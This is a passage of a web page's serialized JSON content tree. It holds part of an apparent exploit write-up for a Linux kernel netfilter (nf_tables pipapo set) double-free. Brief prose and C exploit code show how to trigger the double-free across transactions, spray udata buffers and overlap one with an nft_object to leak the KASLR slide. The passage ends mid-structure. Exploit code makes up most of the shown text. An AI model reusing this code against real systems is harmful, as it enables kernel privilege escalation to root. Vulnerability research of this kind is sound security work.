",{"type":23,"tag":92,"props":53719,"children":53721},{"className":53720},[],[53722],{"type":28,"value":53723},"nft_set_pipapo_match_destroy",{"type":28,"value":53725}," iterates over the ",{"type":23,"tag":92,"props":53727,"children":53729},{"className":53728},[],[53730],{"type":28,"value":53731},"setelems",{"type":28,"value":53733}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":4890,"props":53735,"children":53736},{},[53737,53742,53747,53752],{"type":23,"tag":4894,"props":53738,"children":53739},{},[53740],{"type":28,"value":53741},"Element A gets freed",{"type":23,"tag":4894,"props":53743,"children":53744},{},[53745],{"type":28,"value":53746},"Element B gets free",{"type":23,"tag":4894,"props":53748,"children":53749},{},[53750],{"type":28,"value":53751},"Element A gets freed again (double-free)",{"type":23,"tag":4894,"props":53753,"children":53754},{},[53755],{"type":28,"value":53756},"Element B gets freed again (double-free)",{"type":23,"tag":87,"props":53758,"children":53760},{"className":28603,"code":53759,"language":28605,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[53761],{"type":23,"tag":92,"props":53762,"children":53763},{"__ignoreMap":7},[53764,53771,53832,53839,53846,53854,53861,53868,53876,53900,53921,53955,54016,54023,54031,54083,54090,54116,54143,54182,54211,54240,54262,54269,54276,54283,54291,54298,54306,54319,54332,54352,54359,54367,54389,54421,54466,54502,54530,54537,54544,54552,54559,54575,54582],{"type":23,"tag":134,"props":53765,"children":53766},{"class":136,"line":137},[53767],{"type":23,"tag":134,"props":53768,"children":53769},{"style":179},[53770],{"type":28,"value":9783},{"type":23,"tag":134,"props":53772,"children":53773},{"class":136,"line":147},[53774,53779,53783,53788,53792,53797,53801,53806,53811,53815,53819,53823,53828],{"type":23,"tag":134,"props":53775,"children":53776},{"style":179},[53777],{"type":28,"value":53778},"static void trigger_uaf(",{"type":23,"tag":134,"props":53780,"children":53781},{"style":151},[53782],{"type":28,"value":8864},{"type":23,"tag":134,"props":53784,"children":53785},{"style":597},[53786],{"type":28,"value":53787}," mnl_socket",{"type":23,"tag":134,"props":53789,"children":53790},{"style":151},[53791],{"type":28,"value":9281},{"type":23,"tag":134,"props":53793,"children":53794},{"style":162},[53795],{"type":28,"value":53796},"nl",{"type":23,"tag":134,"props":53798,"children":53799},{"style":179},[53800],{"type":28,"value":242},{"type":23,"tag":134,"props":53802,"children":53803},{"style":151},[53804],{"type":28,"value":53805},"size_t",{"type":23,"tag":134,"props":53807,"children":53808},{"style":162},[53809],{"type":28,"value":53810}," size",{"type":23,"tag":134,"props":53812,"children":53813},{"style":179},[53814],{"type":28,"value":242},{"type":23,"tag":134,"props":53816,"children":53817},{"style":151},[53818],{"type":28,"value":18523},{"type":23,"tag":134,"props":53820,"children":53821},{"style":151},[53822],{"type":28,"value":9281},{"type":23,"tag":134,"props":53824,"children":53825},{"style":162},[53826],{"type":28,"value":53827},"msgqids",{"type":23,"tag":134,"props":53829,"children":53830},{"style":179},[53831],{"type":28,"value":329},{"type":23,"tag":134,"props":53833,"children":53834},{"class":136,"line":185},[53835],{"type":23,"tag":134,"props":53836,"children":53837},{"style":179},[53838],{"type":28,"value":10346},{"type":23,"tag":134,"props":53840,"children":53841},{"class":136,"line":221},[53842],{"type":23,"tag":134,"props":53843,"children":53844},{"style":179},[53845],{"type":28,"value":9783},{"type":23,"tag":134,"props":53847,"children":53848},{"class":136,"line":332},[53849],{"type":23,"tag":134,"props":53850,"children":53851},{"style":179},[53852],{"type":28,"value":53853},"    // TRANSACTION 2\n",{"type":23,"tag":134,"props":53855,"children":53856},{"class":136,"line":438},[53857],{"type":23,"tag":134,"props":53858,"children":53859},{"style":179},[53860],{"type":28,"value":9783},{"type":23,"tag":134,"props":53862,"children":53863},{"class":136,"line":466},[53864],{"type":23,"tag":134,"props":53865,"children":53866},{"emptyLinePlaceholder":15},[53867],{"type":28,"value":865},{"type":23,"tag":134,"props":53869,"children":53870},{"class":136,"line":479},[53871],{"type":23,"tag":134,"props":53872,"children":53873},{"style":179},[53874],{"type":28,"value":53875},"    // create pipapo set\n",{"type":23,"tag":134,"props":53877,"children":53878},{"class":136,"line":497},[53879,53884,53888,53892,53896],{"type":23,"tag":134,"props":53880,"children":53881},{"style":179},[53882],{"type":28,"value":53883},"    uint8_t desc[2] = {",{"type":23,"tag":134,"props":53885,"children":53886},{"style":205},[53887],{"type":28,"value":40346},{"type":23,"tag":134,"props":53889,"children":53890},{"style":179},[53891],{"type":28,"value":242},{"type":23,"tag":134,"props":53893,"children":53894},{"style":205},[53895],{"type":28,"value":40346},{"type":23,"tag":134,"props":53897,"children":53898},{"style":179},[53899],{"type":28,"value":16048},{"type":23,"tag":134,"props":53901,"children":53902},{"class":136,"line":518},[53903,53908,53912,53917],{"type":23,"tag":134,"props":53904,"children":53905},{"style":179},[53906],{"type":28,"value":53907},"    set ",{"type":23,"tag":134,"props":53909,"children":53910},{"style":168},[53911],{"type":28,"value":257},{"type":23,"tag":134,"props":53913,"children":53914},{"style":264},[53915],{"type":28,"value":53916}," create_set",{"type":23,"tag":134,"props":53918,"children":53919},{"style":179},[53920],{"type":28,"value":642},{"type":23,"tag":134,"props":53922,"children":53923},{"class":136,"line":527},[53924,53929,53933,53938,53943,53947,53951],{"type":23,"tag":134,"props":53925,"children":53926},{"style":179},[53927],{"type":28,"value":53928},"        batch, seq",{"type":23,"tag":134,"props":53930,"children":53931},{"style":168},[53932],{"type":28,"value":50775},{"type":23,"tag":134,"props":53934,"children":53935},{"style":179},[53936],{"type":28,"value":53937},", exploit_table_name, ",{"type":23,"tag":134,"props":53939,"children":53940},{"style":1461},[53941],{"type":28,"value":53942},"\"pwn_set\"",{"type":23,"tag":134,"props":53944,"children":53945},{"style":179},[53946],{"type":28,"value":242},{"type":23,"tag":134,"props":53948,"children":53949},{"style":205},[53950],{"type":28,"value":43003},{"type":23,"tag":134,"props":53952,"children":53953},{"style":179},[53954],{"type":28,"value":687},{"type":23,"tag":134,"props":53956,"children":53957},{"class":136,"line":780},[53958,53963,53967,53972,53976,53981,53985,53989,53993,53998,54003,54007,54011],{"type":23,"tag":134,"props":53959,"children":53960},{"style":179},[53961],{"type":28,"value":53962},"        NFT_SET_INTERVAL ",{"type":23,"tag":134,"props":53964,"children":53965},{"style":168},[53966],{"type":28,"value":9881},{"type":23,"tag":134,"props":53968,"children":53969},{"style":179},[53970],{"type":28,"value":53971}," NFT_SET_OBJECT ",{"type":23,"tag":134,"props":53973,"children":53974},{"style":168},[53975],{"type":28,"value":9881},{"type":23,"tag":134,"props":53977,"children":53978},{"style":179},[53979],{"type":28,"value":53980}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":134,"props":53982,"children":53983},{"style":205},[53984],{"type":28,"value":291},{"type":23,"tag":134,"props":53986,"children":53987},{"style":179},[53988],{"type":28,"value":242},{"type":23,"tag":134,"props":53990,"children":53991},{"style":168},[53992],{"type":28,"value":277},{"type":23,"tag":134,"props":53994,"children":53995},{"style":179},[53996],{"type":28,"value":53997},"desc, ",{"type":23,"tag":134,"props":53999,"children":54000},{"style":151},[54001],{"type":28,"value":54002},"NULL",{"type":23,"tag":134,"props":54004,"children":54005},{"style":179},[54006],{"type":28,"value":242},{"type":23,"tag":134,"props":54008,"children":54009},{"style":205},[54010],{"type":28,"value":1224},{"type":23,"tag":134,"props":54012,"children":54013},{"style":179},[54014],{"type":28,"value":54015},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":134,"props":54017,"children":54018},{"class":136,"line":797},[54019],{"type":23,"tag":134,"props":54020,"children":54021},{"emptyLinePlaceholder":15},[54022],{"type":28,"value":865},{"type":23,"tag":134,"props":54024,"children":54025},{"class":136,"line":814},[54026],{"type":23,"tag":134,"props":54027,"children":54028},{"style":141},[54029],{"type":28,"value":54030},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":134,"props":54032,"children":54033},{"class":136,"line":827},[54034,54038,54042,54046,54051,54055,54059,54063,54067,54071,54075,54079],{"type":23,"tag":134,"props":54035,"children":54036},{"style":189},[54037],{"type":28,"value":192},{"type":23,"tag":134,"props":54039,"children":54040},{"style":179},[54041],{"type":28,"value":232},{"type":23,"tag":134,"props":54043,"children":54044},{"style":151},[54045],{"type":28,"value":18523},{"type":23,"tag":134,"props":54047,"children":54048},{"style":179},[54049],{"type":28,"value":54050}," i ",{"type":23,"tag":134,"props":54052,"children":54053},{"style":168},[54054],{"type":28,"value":257},{"type":23,"tag":134,"props":54056,"children":54057},{"style":205},[54058],{"type":28,"value":208},{"type":23,"tag":134,"props":54060,"children":54061},{"style":179},[54062],{"type":28,"value":50739},{"type":23,"tag":134,"props":54064,"children":54065},{"style":168},[54066],{"type":28,"value":5262},{"type":23,"tag":134,"props":54068,"children":54069},{"style":205},[54070],{"type":28,"value":7393},{"type":23,"tag":134,"props":54072,"children":54073},{"style":179},[54074],{"type":28,"value":50770},{"type":23,"tag":134,"props":54076,"children":54077},{"style":168},[54078],{"type":28,"value":50775},{"type":23,"tag":134,"props":54080,"children":54081},{"style":179},[54082],{"type":28,"value":329},{"type":23,"tag":134,"props":54084,"children":54085},{"class":136,"line":836},[54086],{"type":23,"tag":134,"props":54087,"children":54088},{"style":179},[54089],{"type":28,"value":28680},{"type":23,"tag":134,"props":54091,"children":54092},{"class":136,"line":859},[54093,54098,54103,54107,54112],{"type":23,"tag":134,"props":54094,"children":54095},{"style":162},[54096],{"type":28,"value":54097},"        elem",{"type":23,"tag":134,"props":54099,"children":54100},{"style":179},[54101],{"type":28,"value":54102},"[i] ",{"type":23,"tag":134,"props":54104,"children":54105},{"style":168},[54106],{"type":28,"value":257},{"type":23,"tag":134,"props":54108,"children":54109},{"style":264},[54110],{"type":28,"value":54111}," nftnl_set_elem_alloc",{"type":23,"tag":134,"props":54113,"children":54114},{"style":179},[54115],{"type":28,"value":856},{"type":23,"tag":134,"props":54117,"children":54118},{"class":136,"line":868},[54119,54124,54129,54134,54138],{"type":23,"tag":134,"props":54120,"children":54121},{"style":264},[54122],{"type":28,"value":54123},"        memset",{"type":23,"tag":134,"props":54125,"children":54126},{"style":179},[54127],{"type":28,"value":54128},"(key, ",{"type":23,"tag":134,"props":54130,"children":54131},{"style":205},[54132],{"type":28,"value":54133},"0x41",{"type":23,"tag":134,"props":54135,"children":54136},{"style":168},[54137],{"type":28,"value":8365},{"type":23,"tag":134,"props":54139,"children":54140},{"style":179},[54141],{"type":28,"value":54142}," i, KEY_LEN);\n",{"type":23,"tag":134,"props":54144,"children":54145},{"class":136,"line":877},[54146,54151,54155,54159,54164,54169,54173,54178],{"type":23,"tag":134,"props":54147,"children":54148},{"style":264},[54149],{"type":28,"value":54150},"        nftnl_set_elem_set",{"type":23,"tag":134,"props":54152,"children":54153},{"style":179},[54154],{"type":28,"value":272},{"type":23,"tag":134,"props":54156,"children":54157},{"style":162},[54158],{"type":28,"value":51570},{"type":23,"tag":134,"props":54160,"children":54161},{"style":179},[54162],{"type":28,"value":54163},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":134,"props":54165,"children":54166},{"style":1461},[54167],{"type":28,"value":54168},"\"pwnobj\"",{"type":23,"tag":134,"props":54170,"children":54171},{"style":179},[54172],{"type":28,"value":242},{"type":23,"tag":134,"props":54174,"children":54175},{"style":205},[54176],{"type":28,"value":54177},"7",{"type":23,"tag":134,"props":54179,"children":54180},{"style":179},[54181],{"type":28,"value":1021},{"type":23,"tag":134,"props":54183,"children":54184},{"class":136,"line":946},[54185,54189,54193,54197,54202,54206],{"type":23,"tag":134,"props":54186,"children":54187},{"style":264},[54188],{"type":28,"value":54150},{"type":23,"tag":134,"props":54190,"children":54191},{"style":179},[54192],{"type":28,"value":272},{"type":23,"tag":134,"props":54194,"children":54195},{"style":162},[54196],{"type":28,"value":51570},{"type":23,"tag":134,"props":54198,"children":54199},{"style":179},[54200],{"type":28,"value":54201},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":134,"props":54203,"children":54204},{"style":168},[54205],{"type":28,"value":277},{"type":23,"tag":134,"props":54207,"children":54208},{"style":179},[54209],{"type":28,"value":54210},"key, KEY_LEN);\n",{"type":23,"tag":134,"props":54212,"children":54213},{"class":136,"line":954},[54214,54218,54222,54226,54231,54235],{"type":23,"tag":134,"props":54215,"children":54216},{"style":264},[54217],{"type":28,"value":54150},{"type":23,"tag":134,"props":54219,"children":54220},{"style":179},[54221],{"type":28,"value":272},{"type":23,"tag":134,"props":54223,"children":54224},{"style":162},[54225],{"type":28,"value":51570},{"type":23,"tag":134,"props":54227,"children":54228},{"style":179},[54229],{"type":28,"value":54230},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":134,"props":54232,"children":54233},{"style":168},[54234],{"type":28,"value":277},{"type":23,"tag":134,"props":54236,"children":54237},{"style":179},[54238],{"type":28,"value":54239},"udata_buf, size);\n",{"type":23,"tag":134,"props":54241,"children":54242},{"class":136,"line":984},[54243,54248,54253,54257],{"type":23,"tag":134,"props":54244,"children":54245},{"style":264},[54246],{"type":28,"value":54247},"        nftnl_set_elem_add",{"type":23,"tag":134,"props":54249,"children":54250},{"style":179},[54251],{"type":28,"value":54252},"(set, ",{"type":23,"tag":134,"props":54254,"children":54255},{"style":162},[54256],{"type":28,"value":51570},{"type":23,"tag":134,"props":54258,"children":54259},{"style":179},[54260],{"type":28,"value":54261},"[i]);\n",{"type":23,"tag":134,"props":54263,"children":54264},{"class":136,"line":992},[54265],{"type":23,"tag":134,"props":54266,"children":54267},{"style":179},[54268],{"type":28,"value":533},{"type":23,"tag":134,"props":54270,"children":54271},{"class":136,"line":1024},[54272],{"type":23,"tag":134,"props":54273,"children":54274},{"style":179},[54275],{"type":28,"value":9783},{"type":23,"tag":134,"props":54277,"children":54278},{"class":136,"line":1032},[54279],{"type":23,"tag":134,"props":54280,"children":54281},{"emptyLinePlaceholder":15},[54282],{"type":28,"value":865},{"type":23,"tag":134,"props":54284,"children":54285},{"class":136,"line":1092},[54286],{"type":23,"tag":134,"props":54287,"children":54288},{"style":179},[54289],{"type":28,"value":54290},"    // TRANSACTION 3\n",{"type":23,"tag":134,"props":54292,"children":54293},{"class":136,"line":8508},[54294],{"type":23,"tag":134,"props":54295,"children":54296},{"style":179},[54297],{"type":28,"value":9783},{"type":23,"tag":134,"props":54299,"children":54300},{"class":136,"line":8526},[54301],{"type":23,"tag":134,"props":54302,"children":54303},{"style":179},[54304],{"type":28,"value":54305},"    set = nftnl_set_alloc();\n",{"type":23,"tag":134,"props":54307,"children":54308},{"class":136,"line":8571},[54309,54314],{"type":23,"tag":134,"props":54310,"children":54311},{"style":264},[54312],{"type":28,"value":54313},"    nftnl_set_set_u32",{"type":23,"tag":134,"props":54315,"children":54316},{"style":179},[54317],{"type":28,"value":54318},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":134,"props":54320,"children":54321},{"class":136,"line":8677},[54322,54327],{"type":23,"tag":134,"props":54323,"children":54324},{"style":264},[54325],{"type":28,"value":54326},"    nftnl_set_set_str",{"type":23,"tag":134,"props":54328,"children":54329},{"style":179},[54330],{"type":28,"value":54331},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":134,"props":54333,"children":54334},{"class":136,"line":22988},[54335,54339,54344,54348],{"type":23,"tag":134,"props":54336,"children":54337},{"style":264},[54338],{"type":28,"value":54326},{"type":23,"tag":134,"props":54340,"children":54341},{"style":179},[54342],{"type":28,"value":54343},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":134,"props":54345,"children":54346},{"style":1461},[54347],{"type":28,"value":53942},{"type":23,"tag":134,"props":54349,"children":54350},{"style":179},[54351],{"type":28,"value":1021},{"type":23,"tag":134,"props":54353,"children":54354},{"class":136,"line":23023},[54355],{"type":23,"tag":134,"props":54356,"children":54357},{"emptyLinePlaceholder":15},[54358],{"type":28,"value":865},{"type":23,"tag":134,"props":54360,"children":54361},{"class":136,"line":23031},[54362],{"type":23,"tag":134,"props":54363,"children":54364},{"style":141},[54365],{"type":28,"value":54366},"    // make priv->dirty true\n",{"type":23,"tag":134,"props":54368,"children":54369},{"class":136,"line":23039},[54370,54375,54379,54384],{"type":23,"tag":134,"props":54371,"children":54372},{"style":264},[54373],{"type":28,"value":54374},"    memset",{"type":23,"tag":134,"props":54376,"children":54377},{"style":179},[54378],{"type":28,"value":54128},{"type":23,"tag":134,"props":54380,"children":54381},{"style":205},[54382],{"type":28,"value":54383},"0xff",{"type":23,"tag":134,"props":54385,"children":54386},{"style":179},[54387],{"type":28,"value":54388},", KEY_LEN);\n",{"type":23,"tag":134,"props":54390,"children":54391},{"class":136,"line":23048},[54392,54397,54401,54405,54409,54413,54417],{"type":23,"tag":134,"props":54393,"children":54394},{"style":162},[54395],{"type":28,"value":54396},"    elem",{"type":23,"tag":134,"props":54398,"children":54399},{"style":179},[54400],{"type":28,"value":924},{"type":23,"tag":134,"props":54402,"children":54403},{"style":205},[54404],{"type":28,"value":16768},{"type":23,"tag":134,"props":54406,"children":54407},{"style":179},[54408],{"type":28,"value":8121},{"type":23,"tag":134,"props":54410,"children":54411},{"style":168},[54412],{"type":28,"value":257},{"type":23,"tag":134,"props":54414,"children":54415},{"style":264},[54416],{"type":28,"value":54111},{"type":23,"tag":134,"props":54418,"children":54419},{"style":179},[54420],{"type":28,"value":856},{"type":23,"tag":134,"props":54422,"children":54423},{"class":136,"line":23090},[54424,54429,54433,54437,54441,54445,54450,54454,54458,54462],{"type":23,"tag":134,"props":54425,"children":54426},{"style":264},[54427],{"type":28,"value":54428},"    nftnl_set_elem_set",{"type":23,"tag":134,"props":54430,"children":54431},{"style":179},[54432],{"type":28,"value":272},{"type":23,"tag":134,"props":54434,"children":54435},{"style":162},[54436],{"type":28,"value":51570},{"type":23,"tag":134,"props":54438,"children":54439},{"style":179},[54440],{"type":28,"value":924},{"type":23,"tag":134,"props":54442,"children":54443},{"style":205},[54444],{"type":28,"value":16768},{"type":23,"tag":134,"props":54446,"children":54447},{"style":179},[54448],{"type":28,"value":54449},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":134,"props":54451,"children":54452},{"style":1461},[54453],{"type":28,"value":54168},{"type":23,"tag":134,"props":54455,"children":54456},{"style":179},[54457],{"type":28,"value":242},{"type":23,"tag":134,"props":54459,"children":54460},{"style":205},[54461],{"type":28,"value":54177},{"type":23,"tag":134,"props":54463,"children":54464},{"style":179},[54465],{"type":28,"value":1021},{"type":23,"tag":134,"props":54467,"children":54468},{"class":136,"line":23123},[54469,54473,54477,54481,54485,54489,54494,54498],{"type":23,"tag":134,"props":54470,"children":54471},{"style":264},[54472],{"type":28,"value":54428},{"type":23,"tag":134,"props":54474,"children":54475},{"style":179},[54476],{"type":28,"value":272},{"type":23,"tag":134,"props":54478,"children":54479},{"style":162},[54480],{"type":28,"value":51570},{"type":23,"tag":134,"props":54482,"children":54483},{"style":179},[54484],{"type":28,"value":924},{"type":23,"tag":134,"props":54486,"children":54487},{"style":205},[54488],{"type":28,"value":16768},{"type":23,"tag":134,"props":54490,"children":54491},{"style":179},[54492],{"type":28,"value":54493},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":134,"props":54495,"children":54496},{"style":168},[54497],{"type":28,"value":277},{"type":23,"tag":134,"props":54499,"children":54500},{"style":179},[54501],{"type":28,"value":54210},{"type":23,"tag":134,"props":54503,"children":54504},{"class":136,"line":23131},[54505,54510,54514,54518,54522,54526],{"type":23,"tag":134,"props":54506,"children":54507},{"style":264},[54508],{"type":28,"value":54509},"    nftnl_set_elem_add",{"type":23,"tag":134,"props":54511,"children":54512},{"style":179},[54513],{"type":28,"value":54252},{"type":23,"tag":134,"props":54515,"children":54516},{"style":162},[54517],{"type":28,"value":51570},{"type":23,"tag":134,"props":54519,"children":54520},{"style":179},[54521],{"type":28,"value":924},{"type":23,"tag":134,"props":54523,"children":54524},{"style":205},[54525],{"type":28,"value":16768},{"type":23,"tag":134,"props":54527,"children":54528},{"style":179},[54529],{"type":28,"value":943},{"type":23,"tag":134,"props":54531,"children":54532},{"class":136,"line":23139},[54533],{"type":23,"tag":134,"props":54534,"children":54535},{"style":179},[54536],{"type":28,"value":9783},{"type":23,"tag":134,"props":54538,"children":54539},{"class":136,"line":23148},[54540],{"type":23,"tag":134,"props":54541,"children":54542},{"emptyLinePlaceholder":15},[54543],{"type":28,"value":865},{"type":23,"tag":134,"props":54545,"children":54546},{"class":136,"line":23224},[54547],{"type":23,"tag":134,"props":54548,"children":54549},{"style":179},[54550],{"type":28,"value":54551},"    // double-free commited elems\n",{"type":23,"tag":134,"props":54553,"children":54554},{"class":136,"line":23257},[54555],{"type":23,"tag":134,"props":54556,"children":54557},{"style":179},[54558],{"type":28,"value":9783},{"type":23,"tag":134,"props":54560,"children":54561},{"class":136,"line":23265},[54562,54567,54571],{"type":23,"tag":134,"props":54563,"children":54564},{"style":179},[54565],{"type":28,"value":54566},"    nftnl_set_free(",{"type":23,"tag":134,"props":54568,"children":54569},{"style":597},[54570],{"type":28,"value":50525},{"type":23,"tag":134,"props":54572,"children":54573},{"style":179},[54574],{"type":28,"value":1021},{"type":23,"tag":134,"props":54576,"children":54577},{"class":136,"line":23273},[54578],{"type":23,"tag":134,"props":54579,"children":54580},{"style":179},[54581],{"type":28,"value":1098},{"type":23,"tag":134,"props":54583,"children":54584},{"class":136,"line":23310},[54585],{"type":23,"tag":134,"props":54586,"children":54587},{"style":179},[54588],{"type":28,"value":9783},{"type":23,"tag":9072,"props":54590,"children":54592},{"id":54591},"leaking-kaslr",[54593],{"type":28,"value":54594},"Leaking KASLR",{"type":23,"tag":24,"props":54596,"children":54597},{},[54598,54600,54606,54608,54613,54615,54621,54623,54629,54631],{"type":28,"value":54599},"Tables contain an outline user data buffer ",{"type":23,"tag":92,"props":54601,"children":54603},{"className":54602},[],[54604],{"type":28,"value":54605},"udata",{"type":28,"value":54607}," that we can both read and write. By allocating a ",{"type":23,"tag":92,"props":54609,"children":54611},{"className":54610},[],[54612],{"type":28,"value":54605},{"type":28,"value":54614}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":92,"props":54616,"children":54618},{"className":54617},[],[54619],{"type":28,"value":54620},"nft_object",{"type":28,"value":54622}," we can leak the ",{"type":23,"tag":92,"props":54624,"children":54626},{"className":54625},[],[54627],{"type":28,"value":54628},"->ops",{"type":28,"value":54630}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":1116,"props":54632,"children":54634},{"alt":50084,"src":54633},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":87,"props":54636,"children":54638},{"className":28603,"code":54637,"language":28605,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[54639],{"type":23,"tag":92,"props":54640,"children":54641},{"__ignoreMap":7},[54642,54649,54657,54692,54699,54707,54732,54759,54810,54817,54850,54876,54883,54948,54955,54976,54983,54990,54998,55006,55027,55056,55068,55112,55168],{"type":23,"tag":134,"props":54643,"children":54644},{"class":136,"line":137},[54645],{"type":23,"tag":134,"props":54646,"children":54647},{"style":179},[54648],{"type":28,"value":9783},{"type":23,"tag":134,"props":54650,"children":54651},{"class":136,"line":147},[54652],{"type":23,"tag":134,"props":54653,"children":54654},{"style":179},[54655],{"type":28,"value":54656},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":134,"props":54658,"children":54659},{"class":136,"line":185},[54660,54665,54669,54674,54679,54684,54688],{"type":23,"tag":134,"props":54661,"children":54662},{"style":179},[54663],{"type":28,"value":54664},"    udata_spray(",{"type":23,"tag":134,"props":54666,"children":54667},{"style":597},[54668],{"type":28,"value":53796},{"type":23,"tag":134,"props":54670,"children":54671},{"style":179},[54672],{"type":28,"value":54673},", 0",{"type":23,"tag":134,"props":54675,"children":54676},{"style":597},[54677],{"type":28,"value":54678},"xe8",{"type":23,"tag":134,"props":54680,"children":54681},{"style":179},[54682],{"type":28,"value":54683},", 0, 3, ",{"type":23,"tag":134,"props":54685,"children":54686},{"style":597},[54687],{"type":28,"value":54002},{"type":23,"tag":134,"props":54689,"children":54690},{"style":179},[54691],{"type":28,"value":1021},{"type":23,"tag":134,"props":54693,"children":54694},{"class":136,"line":221},[54695],{"type":23,"tag":134,"props":54696,"children":54697},{"emptyLinePlaceholder":15},[54698],{"type":28,"value":865},{"type":23,"tag":134,"props":54700,"children":54701},{"class":136,"line":332},[54702],{"type":23,"tag":134,"props":54703,"children":54704},{"style":141},[54705],{"type":28,"value":54706},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":134,"props":54708,"children":54709},{"class":136,"line":438},[54710,54715,54720,54724,54728],{"type":23,"tag":134,"props":54711,"children":54712},{"style":151},[54713],{"type":28,"value":54714},"    char",{"type":23,"tag":134,"props":54716,"children":54717},{"style":162},[54718],{"type":28,"value":54719}," spray_name",{"type":23,"tag":134,"props":54721,"children":54722},{"style":179},[54723],{"type":28,"value":924},{"type":23,"tag":134,"props":54725,"children":54726},{"style":205},[54727],{"type":28,"value":40346},{"type":23,"tag":134,"props":54729,"children":54730},{"style":179},[54731],{"type":28,"value":31069},{"type":23,"tag":134,"props":54733,"children":54734},{"class":136,"line":466},[54735,54739,54743,54747,54751,54755],{"type":23,"tag":134,"props":54736,"children":54737},{"style":151},[54738],{"type":28,"value":54714},{"type":23,"tag":134,"props":54740,"children":54741},{"style":168},[54742],{"type":28,"value":9281},{"type":23,"tag":134,"props":54744,"children":54745},{"style":162},[54746],{"type":28,"value":54605},{"type":23,"tag":134,"props":54748,"children":54749},{"style":179},[54750],{"type":28,"value":924},{"type":23,"tag":134,"props":54752,"children":54753},{"style":205},[54754],{"type":28,"value":16768},{"type":23,"tag":134,"props":54756,"children":54757},{"style":179},[54758],{"type":28,"value":31069},{"type":23,"tag":134,"props":54760,"children":54761},{"class":136,"line":479},[54762,54766,54770,54774,54778,54782,54786,54790,54794,54798,54802,54806],{"type":23,"tag":134,"props":54763,"children":54764},{"style":189},[54765],{"type":28,"value":192},{"type":23,"tag":134,"props":54767,"children":54768},{"style":179},[54769],{"type":28,"value":232},{"type":23,"tag":134,"props":54771,"children":54772},{"style":151},[54773],{"type":28,"value":18523},{"type":23,"tag":134,"props":54775,"children":54776},{"style":179},[54777],{"type":28,"value":54050},{"type":23,"tag":134,"props":54779,"children":54780},{"style":168},[54781],{"type":28,"value":257},{"type":23,"tag":134,"props":54783,"children":54784},{"style":205},[54785],{"type":28,"value":208},{"type":23,"tag":134,"props":54787,"children":54788},{"style":179},[54789],{"type":28,"value":50739},{"type":23,"tag":134,"props":54791,"children":54792},{"style":168},[54793],{"type":28,"value":5262},{"type":23,"tag":134,"props":54795,"children":54796},{"style":205},[54797],{"type":28,"value":18575},{"type":23,"tag":134,"props":54799,"children":54800},{"style":179},[54801],{"type":28,"value":50770},{"type":23,"tag":134,"props":54803,"children":54804},{"style":168},[54805],{"type":28,"value":50775},{"type":23,"tag":134,"props":54807,"children":54808},{"style":179},[54809],{"type":28,"value":329},{"type":23,"tag":134,"props":54811,"children":54812},{"class":136,"line":497},[54813],{"type":23,"tag":134,"props":54814,"children":54815},{"style":179},[54816],{"type":28,"value":28680},{"type":23,"tag":134,"props":54818,"children":54819},{"class":136,"line":518},[54820,54825,5483